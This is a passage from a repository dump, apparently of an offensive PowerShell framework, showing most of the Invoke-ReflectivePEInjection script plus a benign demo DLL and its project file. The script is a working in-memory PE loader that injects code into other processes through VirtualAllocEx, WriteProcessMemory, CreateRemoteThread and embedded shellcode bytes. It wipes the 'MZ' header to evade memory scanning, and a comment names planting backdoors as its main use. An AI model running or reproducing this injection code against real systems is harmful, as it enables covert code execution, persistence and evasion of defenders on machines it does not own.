$Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)
if ($Name -ceq $FunctionName)
{
#AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions
# which contains the offset of the function in to the DLL
$OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
$FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
$FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
$FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
}
}
return [IntPtr]::Zero
}
Function Invoke-MemoryLoadLibrary
{
Param(
[Parameter( Position = 0, Mandatory = $true )]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $false)]
[String]
$ExeArgs,
[Parameter(Position = 2, Mandatory = $false)]
[IntPtr]
$RemoteProcHandle,
[Parameter(Position = 3)]
[Bool]
$ForceASLR = $false
)
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
#Get Win32 constants and functions
$Win32Constants = Get-Win32Constants
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$RemoteLoading = $false
if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
{
$RemoteLoading = $true
}
#Get basic PE information
Write-Verbose "Getting basic PE information from the file"
$PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
$OriginalImageBase = $PEInfo.OriginalImageBase
$NXCompatible = $true
if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
{
Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
$NXCompatible = $false
}
#Verify that the PE and the current process are the same bits (32bit or 64bit)
$Process64Bit = $true
if ($RemoteLoading -eq $true)
{
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
if ($Result -eq [IntPtr]::Zero)
{
Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
}
[Bool]$Wow64Process = $false
$Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
if ($Success -eq $false)
{
Throw "Call to IsWow64Process failed"
}
if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
{
$Process64Bit = $false
}
#PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly
$PowerShell64Bit = $true
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
{
$PowerShell64Bit = $false
}
if ($PowerShell64Bit -ne $Process64Bit)
{
throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
}
}
else
{
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
{
$Process64Bit = $false
}
}
if ($Process64Bit -ne $PEInfo.PE64Bit)
{
Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
}
#Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address
Write-Verbose "Allocating memory for the PE and write its headers to memory"
#ASLR check
[IntPtr]$LoadAddr = [IntPtr]::Zero
$PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
if ((-not $ForceASLR) -and (-not $PESupportsASLR))
{
Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
[IntPtr]$LoadAddr = $OriginalImageBase
}
elseif ($ForceASLR -and (-not $PESupportsASLR))
{
Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash."
}
if ($ForceASLR -and $RemoteLoading)
{
Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
}
if ($RemoteLoading -and (-not $PESupportsASLR))
{
Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
}
$PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell
$EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process.
if ($RemoteLoading -eq $true)
{
#Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup
$PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
#todo, error handling needs to delete this memory if an error happens along the way
$EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($EffectivePEHandle -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
}
}
else
{
if ($NXCompatible -eq $true)
{
$PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
}
else
{
$PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
}
$EffectivePEHandle = $PEHandle
}
[IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
if ($PEHandle -eq [IntPtr]::Zero)
{
Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
}
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
#Now that the PE is in memory, get more detailed information about it
Write-Verbose "Getting detailed PE information from the headers loaded in memory"
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
$PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
$PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)"
#Copy each section from the PE in to memory
Write-Verbose "Copy PE sections in to memory"
Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
#Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded
Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types
#The PE we are in-memory loading has DLLs it needs, import those DLLs for it
Write-Verbose "Import DLL's needed by the PE we are loading"
if ($RemoteLoading -eq $true)
{
Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
}
else
{
Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
}
#Update the memory protection flags for all the memory just allocated
if ($RemoteLoading -eq $false)
{
if ($NXCompatible -eq $true)
{
Write-Verbose "Update memory protection flags"
Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
}
else
{
Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
}
}
else
{
Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
}
#If remote loading, copy the DLL in to remote process memory
if ($RemoteLoading -eq $true)
{
[UInt32]$NumBytesWritten = 0
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
if ($Success -eq $false)
{
Throw "Unable to write shellcode to remote process memory."
}
}
#Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function
if ($PEInfo.FileType -ieq "DLL")
{
if ($RemoteLoading -eq $false)
{
Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
$DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
}
else
{
$DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
if ($PEInfo.PE64Bit -eq $true)
{
#Shellcode: CallDllMain.asm
$CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
$CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
}
else
{
#Shellcode: CallDllMain.asm
$CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
$CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
}
$SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for shellcode"
}
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw "Unable to write shellcode to remote process memory."
}
$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
}
}
elseif ($PEInfo.FileType -ieq "EXE")
{
#Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process
[IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
[System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
$OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
#If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
# This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
[IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in."
$Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
while($true)
{
[Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
if ($ThreadDone -eq 1)
{
Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
Write-Verbose "EXE thread has completed."
break
}
else
{
Start-Sleep -Seconds 1
}
}
}
return @($PEInfo.PEHandle, $EffectivePEHandle)
}
Function Invoke-MemoryFreeLibrary
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$PEHandle
)
#Get Win32 constants and functions
$Win32Constants = Get-Win32Constants
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
#Call FreeLibrary for all the imports of the DLL
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
{
[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
while ($true)
{
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
#If the structure is null, it signals that this is the end of the array
if ($ImportDescriptor.Characteristics -eq 0 `
-and $ImportDescriptor.FirstThunk -eq 0 `
-and $ImportDescriptor.ForwarderChain -eq 0 `
-and $ImportDescriptor.Name -eq 0 `
-and $ImportDescriptor.TimeDateStamp -eq 0)
{
Write-Verbose "Done unloading the libraries needed by the PE"
break
}
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
$ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
if ($ImportDllHandle -eq $null)
{
Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
}
$Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
if ($Success -eq $false)
{
Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
}
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
}
}
#Call DllMain with process detach
Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
$DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
if ($Success -eq $false)
{
Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
}
}
Function Main
{
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$Win32Constants = Get-Win32Constants
$RemoteProcHandle = [IntPtr]::Zero
#If a remote process to inject in to is specified, get a handle to it
if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
{
Throw "Can't supply a ProcId and ProcName, choose one or the other"
}
elseif ($ProcName -ne $null -and $ProcName -ne "")
{
$Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
if ($Processes.Count -eq 0)
{
Throw "Can't find process $ProcName"
}
elseif ($Processes.Count -gt 1)
{
$ProcInfo = Get-Process | Where-Object { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
Write-Output $ProcInfo
Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
}
else
{
$ProcId = $Processes[0].ID
}
}
#Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.
#If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
# {
# Write-Verbose "Getting SeDebugPrivilege"
# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
# }
if (($ProcId -ne $null) -and ($ProcId -ne 0))
{
$RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
Throw "Couldn't obtain the handle for process ID: $ProcId"
}
Write-Verbose "Got the handle for the remote process to inject in to"
}
#Load the PE reflectively
Write-Verbose "Calling Invoke-MemoryLoadLibrary"
$PEHandle = [IntPtr]::Zero
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
}
else
{
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
}
if ($PELoadedInfo -eq [IntPtr]::Zero)
{
Throw "Unable to load PE, handle returned is NULL"
}
$PEHandle = $PELoadedInfo[0]
$RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process
#Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
{
#########################################
### YOUR CODE GOES HERE
#########################################
switch ($FuncReturnType)
{
'WString' {
Write-Verbose "Calling function with WString return type"
[IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
if ($WStringFuncAddr -eq [IntPtr]::Zero)
{
Throw "Couldn't find function address."
}
$WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
$WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
[IntPtr]$OutputPtr = $WStringFunc.Invoke()
$Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
Write-Output $Output
}
'String' {
Write-Verbose "Calling function with String return type"
[IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
if ($StringFuncAddr -eq [IntPtr]::Zero)
{
Throw "Couldn't find function address."
}
$StringFuncDelegate = Get-DelegateType @() ([IntPtr])
$StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
[IntPtr]$OutputPtr = $StringFunc.Invoke()
$Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
Write-Output $Output
}
'Void' {
Write-Verbose "Calling function with Void return type"
[IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
if ($VoidFuncAddr -eq [IntPtr]::Zero)
{
Throw "Couldn't find function address."
}
$VoidFuncDelegate = Get-DelegateType @() ([Void])
$VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
$VoidFunc.Invoke() | Out-Null
}
}
#########################################
### END OF YOUR CODE
#########################################
}
#For remote DLL injection, call a void function which takes no parameters
elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
{
$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
{
Throw "VoidFunc couldn't be found in the DLL"
}
$VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
$VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
#Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
$Null = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
}
#Don't free a library if it is injected in a remote process or if it is an EXE.
#Note that all DLL's loaded by the EXE will remain loaded in memory.
if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
{
Invoke-MemoryFreeLibrary -PEHandle $PEHandle
}
else
{
#Delete the PE file from memory.
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
if ($Success -eq $false)
{
Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
}
}
Write-Verbose "Done!"
}
Main
}
#Main function to either run the script locally or remotely
Function Main
{
if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
{
$DebugPreference = "Continue"
}
Write-Verbose "PowerShell ProcessID: $PID"
#Verify the image is a valid PE file
$e_magic = ($PEBytes[0..1] | ForEach-Object {[Char] $_}) -join ''
if ($e_magic -ne 'MZ')
{
throw 'PE is not a valid PE file.'
}
if (-not $DoNotZeroMZ) {
# Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg
# TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be.
$PEBytes[0] = 0
$PEBytes[1] = 0
}
#Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1)
if ($ExeArgs -ne $null -and $ExeArgs -ne '')
{
$ExeArgs = "ReflectiveExe $ExeArgs"
}
else
{
$ExeArgs = "ReflectiveExe"
}
if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
{
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
}
else
{
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
}
}
Main
}
================================================
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/DemoDLL.cpp
================================================
// DemoDLL.cpp : Defines the exported functions for the DLL application.
//
#include "stdafx.h"
#include "DemoDLL.h"
using namespace std;
extern "C" __declspec( dllexport ) char* StringFunc()
{
ostream *outputStream = NULL;
//If you want to output to cout, simply set outputStream to &cout. This allows you to write a program that can switch between outputting to string or to cout.
//outputStream = &cout;
ostringstream *stringStream = new ostringstream();
outputStream = stringStream;
(*outputStream) << "String DLL function is working" << endl << endl;
string output = (*stringStream).str();
const char* outputStr = output.c_str();
char* out = new char[output.size()+1];
strcpy(out, outputStr);
out[output.size()] = '\0';
return out;
}
extern "C" __declspec( dllexport ) void VoidFunc()
{
printf("Void DLL function is working, using printf to display. You will only see this if you run locally.\n\n");
return;
}
extern "C" __declspec( dllexport ) wchar_t* WStringFunc()
{
wostream *outputStream = NULL;
//If you want to output to wcout, simply set outputStream to &cout. This allows you to write a program that can switch between outputting to wstring or to wcout.
outputStream = &wcout;
wostringstream *stringStream = new wostringstream();
outputStream = stringStream;
(*outputStream) << L"WString DLL function is working" << endl << endl;
wstring output = (*stringStream).str();
const wchar_t* outputStr = output.c_str();
wchar_t* out = new wchar_t[output.size()+1];
wcscpy(out, outputStr);
out[output.size()] = '\0';
return out;
}
================================================
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/DemoDLL.h
================================================
// The following ifdef block is the standard way of creating macros which make exporting
// from a DLL simpler. All files within this DLL are compiled with the DEMODLL_EXPORTS
// symbol defined on the command line. This symbol should not be defined on any project
// that uses this DLL. This way any other project whose source files include this file see
// DEMODLL_API functions as being imported from a DLL, whereas this DLL sees symbols
// defined with this macro as being exported.
#ifdef DEMODLL_EXPORTS
#define DEMODLL_API __declspec(dllexport)
#else
#define DEMODLL_API __declspec(dllimport)
#endif
using namespace std;
extern "C" __declspec( dllexport ) char* StringFunc();
extern "C" __declspec( dllexport ) void VoidFunc();
extern "C" __declspec( dllexport ) wchar_t* WStringFunc();
================================================
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/DemoDLL.vcxproj
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>DemoDLL</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
